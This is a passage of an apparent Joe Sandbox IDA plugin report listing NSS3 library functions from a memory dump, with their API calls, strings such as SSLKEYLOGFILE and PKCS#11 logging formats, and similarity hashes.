PR_SetError.NSS3(00000000,00000000), ref: 6CE94E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CE94E71
free.MOZGLUE(00000000), ref: 6CE94E7A
PR_Unlock.NSS3(?), ref: 6CE94EA2
TlsGetValue.KERNEL32 ref: 6CE94EC1
EnterCriticalSection.KERNEL32(?), ref: 6CE94ED6
PR_Unlock.NSS3(?), ref: 6CE94F01
free.MOZGLUE(00000000), ref: 6CE94F2A

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 415f3e8c7211baabc0bf7ce168e29dbf5273eadef3c5dbdb3eda6413e3ff3ec4
Instruction ID: f4dbcb8e979bd875603311a4c724b206ec6a894ba48f413e3b337947e3b85331
Opcode Fuzzy Hash: 415f3e8c7211baabc0bf7ce168e29dbf5273eadef3c5dbdb3eda6413e3ff3ec4
Instruction Fuzzy Hash: 94B1F475E00206DFEB40EF68D884BAA77B4BF0931CF244129EC259BB11E731E965CB91

Function 6CE9FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFB4

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFC6

Part of subcall function 6CF198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF19946
Part of subcall function 6CF198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDD16B7,00000000), ref: 6CF1994E
Part of subcall function 6CF198D0: free.MOZGLUE(00000000), ref: 6CF1995E

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFD6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFE6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFF6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0006
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0016
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0026
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0036
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0046
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0056
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0066
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0076
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0086
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0096
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00A6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00B6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00C6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00D6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00E6

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: f46d78bdae7c0581bb74d9019d459cd3ae1943416c3d7de4e51a4558a2915a83
Instruction ID: 9e7dc4e9e28beff4657f5137107003b5e9808a7e4cc46fc6739fde15878f12a5
Opcode Fuzzy Hash: f46d78bdae7c0581bb74d9019d459cd3ae1943416c3d7de4e51a4558a2915a83
Instruction Fuzzy Hash: 433146F0E25614DE8BC5DF25C4C834ABAF4BB16698754652AD01486F02DB76024ECFDD

Function 6CEE6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CEE6BF7), ref: 6CEE6EB6

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CF8FC0A,6CEE6BF7), ref: 6CEE6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEE6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CEE6EFC
PR_NewLock.NSS3 ref: 6CEE6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CEE6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CEE6BF7), ref: 6CEE6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CEE6BF7), ref: 6CEE6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CEE6BF7), ref: 6CEE6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CEE6BF7), ref: 6CEE6FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6CEE6EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CEE6FDB
SSLFORCELOCKS, xrefs: 6CEE6F2B
SSLKEYLOGFILE, xrefs: 6CEE6EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CEE6FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CEE6F4F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 52acc7eaf8e30b4950eb13238fe7291f3bee27e86569aced38534114c7483459
Instruction ID: 6b25edda1c473a68afdf7f2c8fe9c1a6244801aff83dfce73841e2cb16a6568a
Opcode Fuzzy Hash: 52acc7eaf8e30b4950eb13238fe7291f3bee27e86569aced38534114c7483459
Instruction Fuzzy Hash: E4A147B2E65D8287EB905A3CCD4138432B6AB8F3A9F384365E930C6FD6DF7194418245

Function 6CE65DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE65DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE65E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE65E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE65E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE65EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE65ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE65F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE65F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE65F89
free.MOZGLUE(?), ref: 6CE65FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE65FB6
free.MOZGLUE(00000000), ref: 6CE65FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE6600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE66079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE66084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE66094

Strings

, xrefs: 6CE65EEB

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 7c3b5032e880661788ed3279138cbf264bd6939dd5049042d4ff7b64b0b596c4
Instruction ID: 20749fe181ef552d7bae43d166adf99c757dcd8f580ff2a6c92251ff14857680
Opcode Fuzzy Hash: 7c3b5032e880661788ed3279138cbf264bd6939dd5049042d4ff7b64b0b596c4
Instruction Fuzzy Hash: EF81F1B1F612059BDF108B66CC81BAE77B5AF0431CF344128E859A7F82E731E814CB92

Function 6CE86D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CE86D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE86DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE86DC3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE86DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE86DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE86E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CE86E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CE86E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CE86EB9

Strings

pulDigestLen = 0x%p, xrefs: 6CE86E42
pDigest = 0x%p, xrefs: 6CE86E27
pData = 0x%p, xrefs: 6CE86DF5
C_Digest, xrefs: 6CE86D81
(CK_INVALID_HANDLE), xrefs: 6CE86DBC
hSession = 0x%x, xrefs: 6CE86D9E, 6CE86DAE
*pulDigestLen = 0x%x, xrefs: 6CE86EB4
ulDataLen = %d, xrefs: 6CE86E0E

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 986d31bc16d665e2b33e693c531cb420f6d2d7109fcf23dbf1aa266568296cd2
Instruction ID: f7dd75374f93207110609d90f7c7d6c8f2720e189e76bc364777c5d4d405891c
Opcode Fuzzy Hash: 986d31bc16d665e2b33e693c531cb420f6d2d7109fcf23dbf1aa266568296cd2
Instruction Fuzzy Hash: 5641F675A22004AFDB00DF55DD89F8A3BB6AB4231CF154469F80DABB51DB32DD08CBA5

Function 6CE89C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CE89C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE89C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE89CA3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE89CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CE89CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE89CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE89D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CE89D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CE89D42

Strings

ulUsernameLen = %d, xrefs: 6CE89D3D
userType = 0x%x, xrefs: 6CE89CD5
(CK_INVALID_HANDLE), xrefs: 6CE89C9C
pUsername = 0x%p, xrefs: 6CE89D24
hSession = 0x%x, xrefs: 6CE89C7E, 6CE89C8E
ulPinLen = %d, xrefs: 6CE89D0B
C_LoginUser, xrefs: 6CE89C61
pPin = 0x%p, xrefs: 6CE89CF0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: c99019117e2dbe442a5691810f10b75c29766b92e5031763d02d8e6b2f63eb82
Instruction ID: f40c6c5eeddad734483e707f2d5855fbe09492c58ae6ce881cb24d3f65bcf79e
Opcode Fuzzy Hash: c99019117e2dbe442a5691810f10b75c29766b92e5031763d02d8e6b2f63eb82
Instruction Fuzzy Hash: F841F971E02104AFDB00DF50DD88F493BB2AB4330DF594429E80D6BB51DB328818CBAA

Function 6CE41FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE42007
calloc.MOZGLUE(00000001,00000084), ref: 6CE42077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE420DF
TlsSetValue.KERNEL32(00000000), ref: 6CE42188
PR_NewCondVar.NSS3 ref: 6CE421B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE4221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE422C2
GetLastError.KERNEL32 ref: 6CE422CD
free.MOZGLUE(00000000), ref: 6CE422DD

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: c8d1fee28f86fb97765fdea171b18f014f934adaf68affd44b1ea90237aa1530
Instruction ID: e53f07c1b180bb204055c4c17be421d58441cca6e67f711932a53397bde4e26c
Opcode Fuzzy Hash: c8d1fee28f86fb97765fdea171b18f014f934adaf68affd44b1ea90237aa1530
Instruction Fuzzy Hash: E391BDB0A11302DFDBA0DF78E84975BBAF4BB06748F20842EE44AD6B40DB71A105CF95

Function 6CF69C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF69C70
PR_NewLock.NSS3 ref: 6CF69C85

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewCondVar.NSS3(00000000), ref: 6CF69C96

Part of subcall function 6CE3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE421BC), ref: 6CE3BB8C

PR_NewLock.NSS3 ref: 6CF69CA9

Part of subcall function 6CF198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF19946
Part of subcall function 6CF198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDD16B7,00000000), ref: 6CF1994E
Part of subcall function 6CF198D0: free.MOZGLUE(00000000), ref: 6CF1995E

PR_NewLock.NSS3 ref: 6CF69CB9
PR_NewLock.NSS3 ref: 6CF69CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF69CDA

Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE3BBEB
Part of subcall function 6CE3BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE3BBFB
Part of subcall function 6CE3BB80: GetLastError.KERNEL32 ref: 6CE3BC03
Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE3BC19
Part of subcall function 6CE3BB80: free.MOZGLUE(00000000), ref: 6CE3BC22

PR_NewCondVar.NSS3(?), ref: 6CF69CF0
PR_NewPollableEvent.NSS3 ref: 6CF69D03

Part of subcall function 6CF5F3B0: PR_CallOnce.NSS3(6CFB14B0,6CF5F510), ref: 6CF5F3E6
Part of subcall function 6CF5F3B0: PR_CreateIOLayerStub.NSS3(6CFB006C), ref: 6CF5F402
Part of subcall function 6CF5F3B0: PR_Malloc.NSS3(00000004), ref: 6CF5F416
Part of subcall function 6CF5F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF5F42D
Part of subcall function 6CF5F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF5F455
Part of subcall function 6CF5F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF5F473

Part of subcall function 6CF19890: TlsGetValue.KERNEL32(?,?,?,6CF197EB), ref: 6CF1989E

EnterCriticalSection.KERNEL32(?), ref: 6CF69D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69DAF
_PR_CreateThread.NSS3(00000000,6CF69EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69D9F

Part of subcall function 6CE3B3C0: TlsGetValue.KERNEL32 ref: 6CE3B403
Part of subcall function 6CE3B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE3B459

_PR_CreateThread.NSS3(00000000,6CF6A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69DFC
_PR_CreateThread.NSS3(00000000,6CF6A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF69E89

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 22c23ffee1879f6de288533cd2563ef227f3b7cc913f8ad8201a4de39fe800fc
Instruction ID: 86c9e7a5789dabdf62c6c31ecf53b92b682a004810a74c164998f840938e12a9
Opcode Fuzzy Hash: 22c23ffee1879f6de288533cd2563ef227f3b7cc913f8ad8201a4de39fe800fc
Instruction Fuzzy Hash: D4612AB1E00706AFD714DF75D844AA6BBE8FF08208B14452AE85AC7B11EB71E914CBA1

Function 6CE63FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE64014

Part of subcall function 6CE639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE65E6F,?), ref: 6CE63A08
Part of subcall function 6CE639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE65E6F), ref: 6CE63A1C
Part of subcall function 6CE639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE63A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE64038

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE6404D

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF7A0F4), ref: 6CE640C2

Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEAF0C8
Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEAF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE6409A

Part of subcall function 6CEABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2

